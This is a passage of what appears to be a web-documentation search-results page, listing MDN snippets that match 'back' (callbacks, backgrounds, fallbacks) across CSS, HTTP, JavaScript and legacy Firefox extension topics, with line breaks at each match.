... importantly, certain characters which would otherwise be invalid can be escaped with a
backslash.
... these include double quotes when used inside a double-quoted string, single quotes when used inside a single-quoted string, and the
backslash itself.
...And 2 more matches
transform-origin - CSS: Cascading Style Sheets
ge> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> examples code sample transform: none; <div class="box1"> </div> .box1 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform: none; -webkit-transform: none; } transform: rotate(30deg); <div class="box2"> </div> .box2 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); ...
...transform-origin: 0 0; <div class="box3"> </div> .box3 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform-origin: 0 0; -webkit-transform-origin: 0 0; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 100% 100%; <div class="box4"> </div> .box4 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform-origin: 100% 100%; -webkit-transform-origin: 100% 100%; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: -1em -3em; <div class="box5"> </div> ...
... .box5 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform-origin: -1em -3em; -webkit-transform-origin: -1em -3em; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: scale(1.7); <div class="box6"> </div> .box6 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform: scale(1.7); -webkit-transform: scale(1.7); } transform: scale(1.7); transform-origin: 0 0; <div class="box7"> </div> .box7 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform: scale(1.7); -webkit-transform: scale(1.7); transform-origin: 0 0; -webki...
...And 2 more matches
var() - CSS: Cascading Style Sheets
an optional second argument to the function serves as a fall
back value.
...) note: the syntax of the fall
back, like that of custom properties, allows commas.
... for example, var(--foo, red, blue) defines a fall
back of red, blue; that is, anything between the first comma and the end of the function is considered a fall
back value.
...And 2 more matches
Adding captions and subtitles to HTML5 video - Developer guides
no image is used for the captions button, so it is simply styled as: .controls button[data-state="subtitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666;
background:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascript implementation, but these will be mentioned at the appropriate place below.
...'none' : 'block'); } }); subtitle menu css we also added some rudimentary styling for the newly created subtitles menu: .subtitles-menu { display:none; position:absolute; bottom:14.8%; right:20px;
background:#666; list-style-type:none; margin:0; padding:0; width:100px; padding:10px; } .subtitles-menu li { padding:0; text-align:center; } .subtitles-menu li button { border:none;
background:#000; color:#fff; cursor:pointer; width:90%; padding:2px 5px; border-radius:2px; } styling the displayed subtitles one of the less well known about an...
...there are only a handful of css properties that can be applied to a text cue: color opacity visibility text-decoration text-shadow
background shorthand properties outline shorthand properties font shorthand properties, including line-height white-space for example, to change the text colour of the text track cues you can write: ::cue { color:#ccc; } if the webvtt file uses voice spans, which allow cues to be defined as having a particular "voice": 0 00:00:00.000 --> 00:00:12.000 <v test>[test]</v> then this specific 'voice' wil...
...And 2 more matches
HTML attribute reference - HTML: Hypertext Markup Language
background <body>, <table>, <td>, <th> specifies the url of an image file.
...use css
background-image instead.
... bgcolor <body>, <col>, <colgroup>, <marquee>, <table>, <tbody>, <tfoot>, <td>, <th>, <tr>
background color of the element.
...And 2 more matches
<script>: The Script element - HTML: Hypertext Markup Language
nomodule this boolean attribute is set to indicate that the script should not be executed in browsers that support es2015 modules — in effect, this can be used to serve fall
back scripts to older browsers that do not support modular javascript code.
... note: an empty string value ("") is both the default value, and a fall
back value if referrerpolicy is not supported.
... <script> alert("hello world!"); </script> module fall
back browsers that support the module value for the type attribute ignore any script with a nomodule attribute.
...And 2 more matches
HTTP caching - HTTP
different kinds of caches caching is a technique that stores a copy of a given resource and serves it
back when requested.
...this achieves several goals: it eases the load of the server that doesn’t need to serve all clients itself, and it improves performance by being closer to the client, i.e., it takes less time to transmit the resource
back.
...this cache is used to make visited documents available for
back/forward navigation, saving, viewing-as-source, etc.
...And 2 more matches
HTTP conditional requests - HTTP
the different behaviors are defined by the method of the request used, and by the set of headers used for a precondition: for safe methods, like get, which usually tries to fetch a document, the conditional request can be used to send
back the document, if relevant only.
...with an empty cache, or without a cache, the requested resource is sent
back with a status of 200 ok.
... if the resource has not changed, the server sends
back a 304 not modified response.
...And 2 more matches
HTTP headers - HTTP
used for
backwards compatibility with http/1.0 caches where the cache-control header is not yet present.
... content negotiation accept informs the server about the types of data that can be sent
back.
... accept-encoding the encoding algorithm, usually a compression algorithm, that can be used on the resource sent
back.
...And 2 more matches
Closures - JavaScript
the code is attached as a call
back (a single function that is executed in response to the event).
...the value of item.help is determined when the onfocus call
backs are executed.
... one solution in this case is to use more closures: in particular, to use a function factory as described earlier: function showhelp(help) { document.getelementbyid('help').innerhtml = help; } function makehelpcall
back(help) { return function() { showhelp(help); }; } function setuphelp() { var helptext = [ {'id': 'email', 'help': 'your e-mail address'}, {'id': 'name', 'help': 'your full name'}, {'id': 'age', 'help': 'your age (you must be over 16)'} ]; for (var i = 0; i < helptext.length; i++) { var item = helptext[i]; document.getelementbyid(item.id).onfocus = makehelpca...
...And 2 more matches
Promise - JavaScript
promises in javascript represent processes that are already happening, which can be chained with call
back functions.
... instance methods promise.prototype.catch() appends a rejection handler call
back to the promise, and returns a new promise resolving to the return value of the call
back if it is called, or to its original fulfillment value if the promise is instead fulfilled.
... the example function tetheredgetnumber() shows that a promise generator will utilize reject() while setting up an asynchronous call, or within the call-
back, or both.
...And 2 more matches
TypedArray.prototype.reduce() - JavaScript
syntax typedarray.reduce(call
back[, initialvalue]) parameters call
back function to execute on each value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the call
back, or initialvalue, if supplied (see below).
...object to use as the first argument to the first call of the call
back.
... description the reduce method executes the call
back function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the previous call
back call), the value of the current element, the current index, and the typed array over which iteration is occurring.
...And 2 more matches
TypedArray.prototype.reduceRight() - JavaScript
syntax typedarray.reduceright(call
back[, initialvalue]) parameters call
back function to execute on each value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the call
back, or initialvalue, if supplied (see below).
...object to use as the first argument to the first call of the call
back.
... description the reduceright method executes the call
back function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the previous call
back call), the value of the current element, the current index, and the typed array over which iteration is occurring.
...And 2 more matches
async function - JavaScript
for example: async function foo() { await 1 } ...is equivalent to: function foo() { return promise.resolve(1).then(() => undefined) } code after each await expression can be thought of as existing in a .then call
back.
...progress through foo is then suspended and control is yielded
back to the function that called foo.
... some time later, when the first promise has either been fulfilled or rejected, control moves
back into foo.
...And 2 more matches
Web media technologies
these can be used invisibly as a destination for more complex media, or with visible controls for user-controlled play
back of audio files.
... guides overview of media technology on the web a general look at the open web technologies and apis that provide support for audio and video play
back, manipulation, and recording.
...this includes recommendations for what formats to use for what kinds of content, best practices including how to provide fall
backs and how to prioritize media types, and also includes general browser support information for each media container and codec.
...And 2 more matches
Performance fundamentals - Web Performance
responsiveness sometimes involves multiple stages of feed
back.
...this is done by avoiding intermediate surfaces where they would create overhead (such as per-application "
back buffers" in many other operating systems), and by using special memory for graphics buffers that can be directly accessed by the compositor hardware.
... when applications are sent to the
background, a visibilitychange event is fired on their documents.
...And 2 more matches
Recommended Web Performance Timings: How long is too long? - Web Performance
a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the
background color of the page displaying.
...if you wait three or four seconds without communicating to the user that a load is happening and showing some progress, the typical site will lose potential visitors, and those visitors will take a long time to come
back if they ever do.
...there are different suggested times for initially loading the page versus loading additional assets, responding to user interaction, and ensuring smooth animations: idling goal browsers are single threaded (though
background threads are supported for web workers).
...And 2 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
you can also read our discussion on the basics of responsive design, if you need some more
background information and basics.
... main css, which is quite weighty, so we'll go through it in parts: @media all and (max-width: 480px) { x-card:nth-child(1), x-card:nth-child(2), x-card:nth-child(3) { width: 100%; float: none; padding: 0; } button { margin-top: 0; border-radius: 0; } x-card:nth-child(1) video, x-card:nth-child(2) img { border-radius: 0px; border: none; padding: 0;
background-color: 0; } this first block resets a number of different things from the widescreen layouts that were't required for the mobile app.
... css
background images for css
background images this is a fairly easy problem to solve.
...And 2 more matches
Web Components
tutorials using custom elements a guide showing how to use the features of custom elements to create simple web components, as well as looking into lifecycle call
backs and some other more advanced features.
... life cycle call
backs special call
back functions defined inside the custom element's class definition, which affect its behavior: connectedcall
back: invoked when the custom element is first connected to the document's dom.
... disconnectedcall
back: invoked when the custom element is disconnected from the document's dom.
...And 2 more matches
ui/frame - Archive of obsolete content
arguments event : this contains two properties: source, which defines a postmessage() function which you can use to send messages
back to this particular frame instance.
... document.readystate becomes "interactive": var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); frame.on("ready", ping); function ping(e) { // message only this frame instance e.source.postmessage("pong", e.origin); } arguments event : this contains two properties: source, which defines a postmessage() function which you can use to send messages
back to this particular frame instance.
...s the equivalent of the point where the frame's document.readystate becomes "complete": var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); frame.on("load", ping); function ping(e) { e.source.postmessage("ping", "*"); } arguments event : this contains two properties: source, which defines a postmessage() function which you can use to send messages
back to this particular frame instance.
...stmessage("ping", "*"); }, true); // main.js var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); frame.on("message", pong); function pong(e) { if (e.data == "ping") { e.source.postmessage("pong", e.origin); } } arguments event : this contains three properties: source, which defines a postmessage() function which you can use to send messages
back to this particular frame instance.
util/collection - Archive of obsolete content
the collection is
backed by an array.
... parameters array : array if array is given, it will be used as the
backing array.
... functions addcollectionproperty(object, propname, [
backingarray]) adds a collection property to the given object.
...
backingarray : array if given, this will be used as the collection's
backing array.
Progress Listeners - Archive of obsolete content
note that onpageload does not fire for
back button clicks.
...the tabbrowser only notifies you of the events for which you provide a call
back.
...using the following code, you will get notified when user navigates to another page (by clicking a link, using the
back/forward button, by typing an address in the location bar, etc.) and also when user switches tabs.
...nstatechange: function() {}, onprogresschange: function() {}, onstatuschange: function() {}, onsecuritychange: function() {} }; window.addeventlistener("load", function() { myextension.init() }, false); window.addeventlistener("unload", function() { myextension.uninit() }, false); note: if you use the same listener for more than one tab/window, use awebprogress.domwindow in the call
back methods to obtain the tab/window which triggers the state change or event.
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
so it behooves us to piggy
back on this infrastructure to build our extension.
...if not, return immediately to the beginning of this article and don't come
back til you have a functioning firefox.exe.
...go
back and flesh out the c++ implementation of your components so that the build can complete next time.
...(if something goes wrong, figure out what, fix it and then come
back here and add it to this article.) to make sure that the build really finished, launch firefox and check that your extension is listed when you select tools/extensions.
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
are the strings to be displayed to the final user) notice : a simple sign is enough now you go
back to the .js file where the strings to be localized are nested.
... copy chrome.manifest and rename the
backup chrome.manifest.bak.
... in order to go
back into development mode after you’ve finished packaging the extension as an xpi, you need to revert the chrome.manifest you edited in step 4 to point to the
backup files in step 3.
...this string includes extensive information regarding every open window and tab, the forward/
back history for each tab, page scroll position, text zoom, contents of form elements, etc.
User Notifications and Alerts - Archive of obsolete content
the notification shows up again when you come
back to the tab that displayed it.
...tificationbox(); let acceptbutton = new object(); let declinebutton = new object(); let message = this._bundle.getstring("xulschoolhello.friendmessage.label"); let that = this; acceptbutton.label = this._bundle.getstring("xulschoolhello.acceptbutton.label"); acceptbutton.accesskey = this._bundle.getstring("xulschoolhello.acceptbutton.accesskey"); acceptbutton.popup = null; acceptbutton.call
back = function() { that.acceptrequest(); }; // similarly for decline button.
...the level argument determines the "strength" of the message, indicated by its
background color when it is displayed.
...you'll end up with a box with a white
background you can't get rid of .
Images, Tables, and Mysterious Gaps - Archive of obsolete content
back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.
...in the simplest case, we might add a style like this: td img {display: block;} consider this rule when applied to the following markup: <table cellspacing="0" cellpadding="0" border="0" width="500"> <tr><td><img src="nav1.gif"><img src="nav2.gif"><img src="nav3.gif"><img src="nav4.gif"><img src="nav5.gif"></td></tr> <tr><td style="
background: red;"> <img src="smallred.gif" height="1" width="1"></td></tr> <tr><td> <p style="margin: 0.5em;">this is text in another cell of the table.
...thus you might have: tr.decoration img {display: block;} ...along with the following change in the markup: <tr class="decoration"><td style="
background: red;"> <img src="smallred.gif" height="1" width="1"> </td></tr> the result is that of only making the spacer gif block-level, thus leaving the other images alone.
...the one-pixel image in the cell is aligned with the bottom of the cell now, but the line box is
back and it's the size of normal text.
Exception logging in JavaScript - Archive of obsolete content
in versions of firefox prior to firefox 3, all javascript exceptions were always logged into the error console if they remained unhandled at the time execution returned
back into c++ code.
...javascript code is sometimes designed to throw exceptions to report a result condition
back to the c++ caller.
...consider this call chain: here we see c++ code calling javascript, which calls
back into c++, which then calls
back into javascript.
...that c++ may handle the error, generate a different error, or simply pass it straight
back to the js in frame 2.
Example Sticky Notes - Archive of obsolete content
view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {
background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc.
... // here we simply echoing it
back: return val; ]]></setter> </property> <method name="setborder"> <!-- new method for the bound element.
...r event="click"><![cdata[ if (this.priority == 'normal') { this.priority = 'high'; this.setborder('2px solid red'); } else { this.priority = 'normal'; this.setborder('2px solid blue'); } var str = this.innertext + '\n\n'; str+= ('on ' + event.type + ' priority set to: ' + this.priority); window.alert(str); ]]></handler> <handler event="mouseover"><![cdata[ this.$bg = this.style.
backgroundcolor || '#ffff00'; this.style.
backgroundcolor = '#ffcc00'; ]]></handler> <handler event="mouseout"><![cdata[ this.style.
backgroundcolor = this.$bg; ]]></handler> </handlers> </binding> </bindings> notes.css .sticker { position: relative; left: 0px; right: 0px; float: left; clear: none; width: 10em; height: 10em; overflow: visible; margin: 1em 1em; padding: 0.5em 0.5e...
...m; border: 2px solid blue;
background-color: yellow; font: 1em normal "times new roman",serif; font-style: italic; cursor: default; } view this example ...
loadOneTab - Archive of obsolete content
« xul reference home loadonetab( url, referreruri, charset, postdata, loadin
background, allowthirdpartyfixup ) loadonetab( url, { referreruri: ..., charset: ..., postdata: ..., in
background: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
...this method works the same as addtab except for the loadin
background parameter which allows you to choose whether to open the new tab in foreground or
background.
... parameters in
background if true the tab will be loaded in the
background, if false the tab will be the newly selected tab.
... and if null or not specified, this parameter will default to the browser.tabs.loadin
background preference.
Content Panels - Archive of obsolete content
second, the elements such the
back and next buttons are the same throughout the interface.
... iframe example example 1 : source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="
back" /> <toolbarbutton label="forward" /> <textbox id="urlfield" /> </toolbar> </toolbox> <iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1" /> the example here has created a very simple interface for a web browser.
...a
back button, a forward button and a field for typing is urls has been added to the only toolbar (we'll learn about toolbar in a later section).
...for example, the browser maintains a page history for use with
back and forward buttons.
Using the Editor from XUL - Archive of obsolete content
it thus gets call
backs for the start, progress, and end of the document load.
... note: these call
backs also fire for every subdocument that loads as a result of the parent document load, for example with frameset documents, or html documents with their own embedded <iframe>s.
... nstexteditorkeylistener this event listener handles key presses for typing, and other editing operations (
backspace, delete, enter/return).
...note: this is ugly, and should probably be redesigned to work on call
backs out of the editor, or moved entirely to javascript.
Gecko Compatibility Handbook - Archive of obsolete content
problem: site certified on netscape 6.x looks incorrect in other browsers if your site is already gecko-compatible, try switching
back to a netscape 6 user-agent string.
...(related article) connecting to a secure site fails, but connects in internet explorer the web server does not properly implement the fall
back negotiation for ssl.
...the xhtml
backward compatibility guidelines state that empty elements can be coded by following the tag name with a space followed with as slash as in <tag />.
... to be
backwardly compatible you must have a space before the trailing />.
Extentsions FAQ - Archive of obsolete content
these are called "grippies" <https://addons.mozilla.org/firefox/2242/> this extension brings grippies
back to firefox (and thunderbird!) is there any way to write a regular extension that returns a "dummy" object when an instance of "@mozilla.org/helperapplauncherdialog;1" is created?
... how can i
backup some of the files before upgrade an extension and put them
back afterward?
... you shouldn't store data there, so there's nothing to
backup.
... inspector, talk
back and the default theme are nowadays installed like this.
NPAPI plugin reference - Archive of obsolete content
browser-side plug-in api this chapter describes methods in the plug-in api that are provided by the browser; these allow call
back to the browser to request information, tell the browser to repaint part of the window, and so forth.
... npanycall
backstruct contains information required during embedded mode printing.
... npprintcall
backstruct contains information required by the platformprint field of the npembedprint structure during embedded mode printing on unix systems.
... npsetwindowcall
backstruct contains information about the plug-in's unix window environment.
Making sure your theme works with RTL locales - Archive of obsolete content
example toolbar[iconsize="large"][mode="icons"] #
back-button { -moz-image-region: rect(0px 396px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #
back-button:-moz-locale-dir(rtl) { -moz-image-region: rect(0px 516px 34px 480px); } this specifies the default, left-to-right version of the button, then offers an override if the user's interface is being rendered in right-to-left mode.
... toolbar[iconsize="large"][mode="icons"] #
back-button { -moz-image-region: rect(0px 398px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #
back-button[chromedir="rtl"] { -moz-image-region: rect(0px 516px 34px 478px); } this way, if chromedir is "rtl", the second rule will override the first, and the theme will work in rtl.
... */ #a > #b > #c { /* normal rules */ } #a[chromedir="rtl"] > #b > #c { /* rtl rules */ } tip: sometimes, like in the
back and forward arrows, you don't really need new versions of the images.
...start/end rules instead to ensure rtl compatibility: -moz-padding-start -moz-padding-end -moz-margin-start -moz-margin-end -moz-border-start -moz-border-start-color -moz-border-start-style -moz-border-start-width -moz-border-end -moz-border-end-color -moz-border-end-style -moz-border-end-width #urlbar-search-splitter { min-width: 8px; -moz-margin-start: -4px; border: none;
background: transparent; } testing your theme testing your theme for rtl compatibility is easy, and you do not even have to go through the hassle of downloading a rtl locale.
-ms-filter - Archive of obsolete content
<div id="filterfrom" style="position: absolute; width: 200px; height: 250px;
background-color: white; filter: revealtrans()"> <img id="imagefrom" style="position: absolute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; l...
...eft: 20px;
background: white; visibility: hidden;"> </div> </div> <script type="text/javascript"> let filterimg = document.queryselector('#filterfrom'); filterimg.addeventlistener('click', dofilter); function dofilter () { filterfrom.filters.item(0).apply(); // 12 is the dissolve filter.
... html <div class="gradient horizontal"></div> <div class="gradient vertical"></div> css html, body { overflow-x: hidden; max-width: 100vw; } .gradient { width: 100vw; height: 60px; height: 50vh; } .gradient.horizontal { -ms-filter: 'progid:dximagetransform.microsoft.gradient(startcolorstr="#ffffff", endcolorstr="#000000", gradienttype=1)';
background-image: linear-gradient(to right, #ffffff 0%, #000000 100%); } .gradient.vertical { -ms-filter: 'progid:dximagetransform.microsoft.gradient(startcolorstr="#ffffff", endcolorstr="#000000", gradienttype=0)';
background-image: linear-gradient(to bottom, #ffffff 0%, #000000 100%); } result specifications not part of any specification.
... initial value"" (the empty string)applies toall elementsinheritednocomputed valueas specifiedanimation typediscrete remarks the following table lists the most popular dx filters and their standards-based alternatives: dx filter standards-based alternative alpha opacity alphaimageloader <img> or
background-image and related properties gradient
background-image: linear-gradient() dropshadow text-shadow or box-shadow matrix transform, transform-origin in windows internet explorer 8, the -ms-filter attribute is an extension to css, and can be used as a synonym for filter in ie8 standards mode.
Object.observe() - Archive of obsolete content
syntax object.observe(obj, call
back[, acceptlist]) parameters obj the object to be observed.
... call
back the function called each time changes are made, with the following argument: changes an array of objects each representing a change.
... acceptlist the list of types of changes to be observed on the given object for the given call
back.
... description call
back is called each time a change is made to obj, with an array of all changes in the order in which they occurred.
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
<style type="text/css"> <!-- body {
background-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> this example illustrates that a conformant browser can ignore content inside of comments.
...however, it is possible to combine javascript comments with cdata sections to allow for
backward compatibility.
... recommendations do not use inline style or script in xhtml replacing inline style and script with external files containing the css rules and javascript is the best approach for authoring xhtml in a
backwardly compatible fashion that will not break if the mime type of the content is changed from text/html to application/xhtml+xml.
... follow the xhtml 1.0 html compatibility guidelines the xhtml 1.0 html compatibility guidelines help make xhtml documents
backwardly compatible with older user agents which do not understand xml.
Building up a basic demo with Three.js - Game development
thanks to this approach, a fall
back can be used, if a desired technology is not supported by the browser.
...the setclearcolor() method sets our
background to a light gray colour, instead of the default black one.
...here we're moving the camera
back, so the objects in the scene can be viewed.
...now you understand the basics of three.js, you can jump
back to the parent page, 3d on the web.
Tiles and tilemaps overview - Game development
think about any game that uses regularly repeating squares of
background, and you'll probably find it uses tilemaps.
... here are examples showing how to translate from world coordinates to screen coordinates and
back again: // these functions assume that the camera points to the top left corner function worldtoscreen(x, y) { return {x: x - camera.x, y: y - camera.y}; } function screentoworld(x,y) { return {x: x + camera.x, y: y + camera.y}; } rendering a trivial method for rendering would just be to iterate over all the tiles (like in static tilemaps) and draw them, substracting the camera coordinat...
...this allows us to have a richer game world with less tiles, since the same image can be used with different
backgrounds.
... for instance, a rock that could appear on top of several terrain types (like grass, sand or brick) could be included on it's own separate tile which is then rendered on a new layer, instead of several rock tiles, each with a different
background terrain.
Fundamental CSS comprehension - Learn web development
you need to: give the main card container a fixed width/height, solid
background color, border, and border-radius (rounded corners!), amongst other things.
... give the header a
background gradient that goes from darker to lighter, plus rounded corners that fit in with the rounded corners set on the main card container.
... give the footer a
background gradient that goes from lighter to darker, plus rounded corners that fit in with the rounded corners set on the main card container.
...also give it a
background color of semi-transparent black, resulting in a slightly darker shade that lets the
background red color shine through a bit too.
Pseudo-classes and pseudo-elements - Learn web development
modern browsers support the early pseudo-elements with single- or double-colon syntax for
backwards compatibility.
...all the odd ones.) :nth-last-child matches elements from a list of siblings, counting
backwards from the end.
...<p> elements), counting
backwards from the end.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
The box model - Learn web development
any
background applied to your element will display behind the padding, and it is typically used to push the content away from the border.
...the navigation below is displayed in a row using flexbox and we have added padding to the <a> element as we want to be able to change the
background-color when the <a> is hovered.
... in the next lesson, we will take a look at how
backgrounds and borders can be used to make your plain boxes look more interesting.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS building blocks - Learn web development
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
...
backgrounds and borders in this lesson we will take a look at some of the creative things you can do with css
backgrounds and borders.
... from adding gradients,
background images, and rounded corners,
backgrounds and borders are the answer to a lot of styling questions in css.
... a cool looking box here you'll get some practice in using
background and border styling to create an eye-catching box.
What are hyperlinks? - Learn web development
to explain what links are, we need to step
back to the very basics of web architecture.
...
back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands: url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web revolves around documents and how to access them.
...note that you don't have to link
back when someone links to your site.
... to get some more theoretical
background, learn about urls and their structure, since every link points to a url.
Test your skills: Advanced styling - Learn web development
once you've removed the native styling, you'll need to add
back one of the features it was providing, to keep same look and feel we originally had.
...can you add some kind of styling
back in so that users can tell when the search box is being hovered or focused?
...this can be anything you like, but you probably want to set a width and height (of somewhere between about 18 and 24 pixels), and a subtle border and/or
background color.
... advanced form styling 3 in our final task for this assessment series, we provide you with a feed
back form that is already nicely-styled — you've already seen something similar if you've worked through our ui pseudo-classes article, and now we want you to come up with your own solution.
Image gallery - Learn web development
</div> the example looks like this: the most interesting parts of the example's css file: it absolutely positions the three elements inside the full-img <div> — the <img> in which the full-sized image is displayed, an empty <div> that is sized to be the same size as the <img> and put right over the top of it (this is used to apply a darkening effect to the image via a semi-transparent
background color), and a <button> that is used to control the darkening effect.
... if the class name is "dark", changes the <button> class to "light" (using setattribute()), its text content to "lighten", and the
background-color of the overlay <div> to "rgba(0,0,0,0.5)".
... if the class name not "dark", changes the <button> class to "dark", its text content
back to "darken", and the
background-color of the overlay <div> to "rgba(0,0,0,0)".
... btn.setattribute('class', xxx); btn.textcontent = xxx; overlay.style.
backgroundcolor = xxx; hints and tips you don't need to edit the html or css in any way.
Handling text — strings in JavaScript - Learn web development
if your program is raising such errors, then go
back and check all your strings to make sure you have no missing quote marks.
...in javascript, we do this by putting a
backslash just before the character.
... to turn a standard string literal into a template literal, you have to replace the quote marks (' ', or " ") with
backtick characters (` `).
...i gave it a score of ${ score/highestscore * 100 }%.`; there is no more need to open and close multiple string pieces — the whole lot can just be wrapped in a single pair of
backticks.
What is JavaScript? - Learn web development
css is a language of style rules that we use to apply styling to our html content, for example setting
background colors and fonts, and laying out our content in multiple columns.
...we can mark it up using html to give it structure and purpose: <p>player 1: chris</p> then we can add some css into the mix to get it looking nice: p { font-family: 'helvetica neue', helvetica, sans-serif; letter-spacing: 1px; text-transform: uppercase; text-align: center; border: 2px solid rgba(0,0,200,0.6);
background: rgba(0,0,200,0.3); color: rgba(0,0,200,0.6); box-shadow: 1px 1px 2px rgba(0,0,200,0.4); border-radius: 10px; padding: 3px 10px; display: inline-block; cursor: pointer; } and finally, we can add some javascript to implement dynamic behaviour: const para = document.queryselector('p'); para.addeventlistener('click', updatename); function updatename() { let name = prompt('e...
... async should be used when you have a bunch of
background scripts to load in, and you just want to get them in place as soon as possible.
... comments as with html and css, it is possible to write comments into your javascript code that will be ignored by the browser, and exist simply to provide instructions to your fellow developers on how the code works (and you, if you come
back to your code after six months and can't remember what you did).
Client-Server Overview - Learn web development
http/1.1 200 ok server: apache x-
backend-server: developer1.webapp.scl3.mozilla.com vary: accept,cookie, accept-encoding content-type: text/html; charset=utf-8 date: wed, 07 sep 2016 00:11:31 gmt keep-alive: timeout=5, max=999 connection: keep-alive x-frame-options: deny allow: get x-cache-info: caching content-length: 41823 <!doctype html> <html lang="en-us" dir="ltr" class="redesign no-js" data-ffo-opensanslight=false data-ffo-...
... http/1.1 302 found server: apache x-
backend-server: developer3.webapp.scl3.mozilla.com vary: cookie vary: accept-encoding content-type: text/html; charset=utf-8 date: wed, 07 sep 2016 00:38:13 gmt location: https://developer.mozilla.org/profiles/hamishwillee keep-alive: timeout=5, max=1000 connection: keep-alive x-frame-options: deny x-cache-info: not cacheable; request wasn't a get or head content-length: 0 note: the http responses ...
...in order to "keep things real" we'll use the context of a sports-team manager website where a coach can select their team name and team size in an html form and get
back a suggested "best lineup" for their next game.
...if we have a model named team with a field of "team_type" then we can use a simple query syntax to get
back all teams that have a particular type.
Focus management with Vue refs - Learn web development
similarly, if you save or cancel your edit, focus will disappear again as you move
back to the non-edit view.
...we'll also want to put focus
back on the "edit" button when a user cancels or saves their edit.
...this method accepts a call
back function, which then executes after the dom updates.
...when clicking the "edit" button, it makes sense to move focus to the edit name text box, and
back to the "edit" button when canceling or saving from the edit screen.
Handling common accessibility problems - Learn web development
most modern browsers follow the tab pattern described above (you can also do shift + tab to move
backwards through the focusable elements), but some browsers have their own idiosyncracies: firefox for the mac doesn't do tabbing by default.
...this is a lot of extra hassle to build the functionality
back in.
... color and color contrast when choosing a color scheme for your website, you should make sure that the text (foreground) color contrasts well with the
background color.
... some are built into the operating system, like voiceover (mac os x and ios), chromevox (on chromebooks), and talk
back (android).
Setting up your own test automation environment - Learn web development
you can find some good
background information at test design considerations.
... now if you go
back to the browserstack automation dashboard page, you'll see your test listed: if you click on the link for your test, you'll get to a new screen where you will be able to see a video recording of the test, and multiple detailed logs of information pertaining to it.
... if you now go
back to your browserstack automation dashboard page, you should see your test session available, as before, but with the updated data attached to it: sauce labs getting selenium tests to run remotely on sauce labs is also very simple, and very similar to browserstack albeit with a few syntactic differences.
... if you now go
back to your sauce labs automated test dashboard page, you should see your new job now has the updated data attached to it: your own remote server if you don't want to use a service like sauce labs or browserstack, you can always set up your own remote testing server.
Git and GitHub - Learn web development
all developers will use some kind of version control system (vcs), a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll
back to previous versions of the code base if a problem is discovered later on.
... when working on a project on your own or with others, you'll want to be able to
back up the code in a central place, so it is not lost if your computer breaks.
... you will also want to be able to roll
back to earlier versions if a problem is later discovered.
...you make changes to your own copy, and then push those changes
back up to the server, where an administrator will decide whether to merge your changes with the master copy.
Command line crash course - Learn web development
try typing this into your system's terminal: cd desktop if you want to move
back up to the previous directory, you can use two dots: cd ..
... note: on windows you use
backslashes instead of forward slashes, e.g.
... one good habit to get into is to write your terminal command out inside a text editor, figure out how you think it should look, and then make a
